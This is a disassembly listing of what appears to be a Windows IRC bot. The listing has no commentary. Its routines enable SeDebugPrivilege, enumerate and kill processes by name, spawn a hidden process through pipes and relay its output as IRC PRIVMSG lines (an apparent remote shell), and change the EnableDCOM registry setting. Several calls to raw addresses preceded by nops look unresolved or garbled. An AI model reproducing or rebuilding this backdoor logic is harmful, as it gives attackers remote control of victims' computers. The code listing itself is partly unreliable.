loc_419A19:				; CODE XREF: sub_4199AC+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A23:				; CODE XREF: sub_4199AC+1Aj
		sub	eax, 7Ch
		jz	short loc_419A50
		sub	eax, 7C8h
		jz	short loc_419A49
		dec	eax
		jz	short loc_419A3F
		dec	eax
		jnz	short loc_419AAD
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A3F:				; CODE XREF: sub_4199AC+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A49:				; CODE XREF: sub_4199AC+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A50:				; CODE XREF: sub_4199AC+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A57:				; CODE XREF: sub_4199AC+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A5E:				; CODE XREF: sub_4199AC+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419A97
		jz	short loc_419A90
		sub	eax, 8ADh
		jz	short loc_419AC2
		dec	eax
		dec	eax
		jz	short loc_419A89
		dec	eax
		jz	short loc_419A82
		dec	eax
		dec	eax
		jnz	short loc_419AAD
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A82:				; CODE XREF: sub_4199AC+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A89:				; CODE XREF: sub_4199AC+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: sub_4199AC+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A97:				; CODE XREF: sub_4199AC+B9j
		sub	eax, 8CAh
		jz	short loc_419AC9
		sub	eax, 17h
		jz	short loc_419AC2
		sub	eax, 25h
		jz	short loc_419ABB
		sub	eax, 29h
		jz	short loc_419AB4


loc_419AAD:				; CODE XREF: sub_4199AC+35j
					; sub_4199AC+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AB4:				; CODE XREF: sub_4199AC+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419ABB:				; CODE XREF: sub_4199AC+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC2:				; CODE XREF: sub_4199AC+C2j
					; sub_4199AC+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC9:				; CODE XREF: sub_4199AC+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419ACE:				; CODE XREF: sub_4199AC+40j
					; sub_4199AC+4Aj ...
		push	offset dword_4DB5E0
		call	sub_41C266
		pop	ecx
		mov	eax, offset dword_4DB5E0
		pop	ecx
		retn
sub_4199AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AE0	proc near		; CODE XREF: sub_401ACD+467Fp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0D4
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 26D0000h
		nop
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0B7
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB9E4
		test	eax, eax
		jnz	short loc_419B70
		mov	esi, offset dword_4DB3DC
		push	offset unk_43A20C
		push	esi
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_419B99
; ---------------------------------------------------------------------------


loc_419B70:				; CODE XREF: sub_419AE0+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4199AC
		pop	ecx
		mov	esi, offset dword_4DB3DC
		push	eax
		push	offset dword_43A1E0
		push	esi
		call	sub_41C266
		add	esp, 14h


loc_419B99:				; CODE XREF: sub_419AE0+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419AE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B9E	proc near		; CODE XREF: sub_4172C1+45p
					; sub_4172C1+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 27405B8h
		push	eax
		call	dword_4CB9B8
		test	eax, eax
		jnz	short loc_419BBD
		leave
		retn
; ---------------------------------------------------------------------------


loc_419BBD:				; CODE XREF: sub_419B9E+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB990
		test	eax, eax
		jz	short loc_419BFB
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419BE4
		or	[ebp+var_8], 2
		jmp	short loc_419BE8
; ---------------------------------------------------------------------------


loc_419BE4:				; CODE XREF: sub_419B9E+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419BE8:				; CODE XREF: sub_419B9E+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CBA40
		mov	esi, eax


loc_419BFB:				; CODE XREF: sub_419B9E+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2680000h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419B9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C09	proc near		; CODE XREF: sub_401ACD+7770p
					; sub_419E38+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB9F4, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_419E08
		cmp	dword_4CB9D8, ebx
		jz	loc_419E08
		cmp	dword_4CB8E8, ebx
		jz	loc_419E08
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB9F4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_419DFB
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB9D8
		mov	esi, dword_427070
		test	eax, eax
		jz	loc_419DF6
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB8E8
		test	eax, eax
		jz	loc_419DF6
		mov	edi, dword_42708C
		mov	ebx, 1F0FFFh


loc_419CCD:				; CODE XREF: sub_419C09+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_419D34
		mov	[ebp+var_4], offset off_43A238


loc_419CDB:				; CODE XREF: sub_419C09+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2860000h
		test	eax, eax
		jz	short loc_419D03
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_43A298
		jb	short loc_419CDB
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D03:				; CODE XREF: sub_419C09+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419DDC
		push	0
		push	eax
		nop
		call	near ptr 2730AC4h
		test	eax, eax
		jnz	loc_419DDC


loc_419D2A:				; CODE XREF: sub_419C09+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D34:				; CODE XREF: sub_419C09+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_419DC7
		cmp	[ebp+arg_4], eax
		jz	loc_419DDC
		push	[ebp+var_128]
		push	8
		call	dword_4CB9F4
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_419D87
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB894
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419D8D
		lea	eax, [ebp+var_234]
		jmp	short loc_419D93
; ---------------------------------------------------------------------------


loc_419D87:				; CODE XREF: sub_419C09+15Cj
		push	[ebp+var_128]


loc_419D8D:				; CODE XREF: sub_419C09+174j
		lea	eax, [ebp+var_10C]


loc_419D93:				; CODE XREF: sub_419C09+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		jmp	loc_419D2A
; ---------------------------------------------------------------------------


loc_419DC7:				; CODE XREF: sub_419C09+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419E0F


loc_419DDC:				; CODE XREF: sub_419C09+F5j
					; sub_419C09+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB8E8
		test	eax, eax
		jnz	loc_419CCD
		xor	ebx, ebx


loc_419DF6:				; CODE XREF: sub_419C09+9Dj
					; sub_419C09+B3j
		push	[ebp+var_8]
		call	esi


loc_419DFB:				; CODE XREF: sub_419C09+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx


loc_419E08:				; CODE XREF: sub_419C09+3Aj
					; sub_419C09+46j ...
		xor	eax, eax


loc_419E0A:				; CODE XREF: sub_419C09+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419E0F:				; CODE XREF: sub_419C09+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 2730AC4h
		test	eax, eax
		jnz	short loc_419E33
		push	edi
		call	esi
		jmp	short loc_419E08
; ---------------------------------------------------------------------------


loc_419E33:				; CODE XREF: sub_419C09+223j
		push	1
		pop	eax
		jmp	short loc_419E0A
sub_419C09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; DATA XREF: sub_401ACD+2687o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43A438
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_419E97
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419E97:				; CODE XREF: sub_419E38+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419C09
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419EBF
		push	offset unk_43A414
		jmp	short loc_419EC4
; ---------------------------------------------------------------------------


loc_419EBF:				; CODE XREF: sub_419E38+7Ej
		push	offset unk_43A3F0


loc_419EC4:				; CODE XREF: sub_419E38+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_419EF7
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419EF7:				; CODE XREF: sub_419E38+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415D38
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
sub_419E38	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419F16	proc near		; CODE XREF: sub_401ACD+7712p
					; sub_40B4F5+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 26906DBh
		mov	esi, eax
		test	esi, esi
		jz	short loc_419F48
		push	0
		push	esi
		nop
		call	near ptr 2730AC4h
		test	eax, eax
		jnz	short loc_419F48
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2680000h


loc_419F48:				; CODE XREF: sub_419F16+1Aj
					; sub_419F16+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_419F16	endp

; ---------------------------------------------------------------------------
byte_419F4D	db 56h,	33h, 0F6h	; DATA XREF: ___:004015EEo
		dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A23435h
		dd 9FE89000h, 0EB022764h
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419F6D	proc near		; CODE XREF: sub_419F9D+2Ap
					; sub_419FD5+7Ep ...
		mov	eax, dword_4DBC48
		push	esi
		mov	esi, dword_427070
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F81
		push	eax
		call	esi


loc_419F81:				; CODE XREF: sub_419F6D+Fj
		mov	eax, dword_4DBC50
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F8E
		push	eax
		call	esi


loc_419F8E:				; CODE XREF: sub_419F6D+1Cj
		mov	eax, dword_4DBC44
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F9B
		push	eax
		call	esi


loc_419F9B:				; CODE XREF: sub_419F6D+29j
		pop	esi
		retn
sub_419F6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F9D	proc near		; CODE XREF: sub_401ACD+7475p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DBC4C
		nop
		call	near ptr 2720000h
		test	eax, eax
		jnz	short loc_419FD0
		call	sub_419F6D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419FD0:				; CODE XREF: sub_419F9D+28j
		push	1
		pop	eax
		leave
		retn
sub_419F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FD5	proc near		; CODE XREF: sub_41A05C+D3p
					; sub_41A05C+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43DB88
		push	[ebp+arg_4]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A018
		push	7D0h
		call	near ptr 269040Ah
		nop
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41A02F
; ---------------------------------------------------------------------------


loc_41A018:				; CODE XREF: sub_419FD5+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_41A02F:				; CODE XREF: sub_419FD5+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		test	eax, eax
		jg	short loc_41A058
		call	sub_419F6D


loc_41A058:				; CODE XREF: sub_419FD5+7Cj
		xor	eax, eax
		leave
		retn
sub_419FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A05C	proc near		; DATA XREF: sub_41A1B1+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DBC54


loc_41A074:				; CODE XREF: sub_41A05C+79j
					; sub_41A05C+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DBC48
		nop
		call	near ptr 286092Bh
		test	eax, eax
		jz	loc_41A142
		cmp	[ebp+var_4], edi
		jnz	short loc_41A0D7
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DBC44
		call	near ptr 28604B0h
		nop
		test	eax, eax
		jz	short loc_41A0CD
		cmp	[ebp+var_8], 103h
		jnz	loc_41A166


loc_41A0CD:				; CODE XREF: sub_41A05C+62j
		push	0Ah
		nop
		call	near ptr 269040Ah
		jmp	short loc_41A074
; ---------------------------------------------------------------------------


loc_41A0D7:				; CODE XREF: sub_41A05C+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41A0EE


loc_41A0DE:				; CODE XREF: sub_41A05C+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41A13C
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41A0DE


loc_41A0EE:				; CODE XREF: sub_41A05C+80j
		mov	[ebp+var_4], esi


loc_41A0F1:				; CODE XREF: sub_41A05C+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DBC48
		call	near ptr 2710000h
		nop
		test	eax, eax
		jz	short loc_41A18E
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		add	esp, 0Ch
		jmp	loc_41A074
; ---------------------------------------------------------------------------


loc_41A13C:				; CODE XREF: sub_41A05C+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A0F1
; ---------------------------------------------------------------------------


loc_41A142:				; CODE XREF: sub_41A05C+45j
		push	offset unk_43A4C0
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	1
		nop
		call	near ptr 26F0000h


loc_41A166:				; CODE XREF: sub_41A05C+6Bj
		call	sub_419F6D
		push	offset unk_43A498
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	near ptr 26F0000h
		nop


loc_41A18E:				; CODE XREF: sub_41A05C+C3j
		push	offset unk_43A468
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F0000h
sub_41A05C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1B1	proc near		; CODE XREF: sub_401ACD+24AAp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419F6D
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_4346E0
		push	esi
		call	dword_4CBA90
		test	eax, eax
		jz	loc_41A2AB
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_427108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		mov	edi, dword_427104
		push	3
		push	esi
		push	esi
		push	offset dword_4DBC4C
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2740000h
		test	eax, eax
		jz	short loc_41A2AB
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43DB88
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 26802D4h
		nop
		test	eax, eax
		jnz	short loc_41A2B3


loc_41A2AB:				; CODE XREF: sub_41A1B1+2Fj
					; sub_41A1B1+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41A361
; ---------------------------------------------------------------------------


loc_41A2B3:				; CODE XREF: sub_41A1B1+F8j
		push	[ebp+var_4]
		mov	edi, dword_427070
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DBC48, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DBC50, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DBC44, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DBC88, eax
		jz	short loc_41A2ED
		push	[ebp+arg_4]
		jmp	short loc_41A2EE
; ---------------------------------------------------------------------------


loc_41A2ED:				; CODE XREF: sub_41A1B1+135j
		push	ebx


loc_41A2EE:				; CODE XREF: sub_41A1B1+13Aj
		push	offset dword_4DBC54
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A524
		call	sub_40B3BA
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E918[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41A05C
		push	esi
		push	esi
		nop
		call	near ptr 2690496h
		cmp	eax, esi
		mov	dword_43E924[edi], eax
		jnz	short loc_41A35F
		nop
		call	near ptr 2690C56h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A4F0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_41A35F:				; CODE XREF: sub_41A1B1+185j
		xor	eax, eax


loc_41A361:				; CODE XREF: sub_41A1B1+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A1B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A366	proc near		; DATA XREF: sub_401ACD+2DC8o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A3AD
		call	sub_41A3C6
		jmp	short loc_41A3B2
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A366+3Ej
		call	sub_41A6EA


loc_41A3B2:				; CODE XREF: sub_41A366+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
		call	near ptr 26F0000h
sub_41A366	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3C6	proc near		; CODE XREF: sub_41A366+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CBAA4, edi
		jnz	loc_41A4F8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A451
		mov	ax, word_439298
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A433
		push	offset dword_43A7C0
		jmp	short loc_41A438
; ---------------------------------------------------------------------------


loc_41A433:				; CODE XREF: sub_41A3C6+64j
		push	offset dword_43A7A0


loc_41A438:				; CODE XREF: sub_41A3C6+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A464
; ---------------------------------------------------------------------------


loc_41A451:				; CODE XREF: sub_41A3C6+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A770
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A464:				; CODE XREF: sub_41A3C6+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A483
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
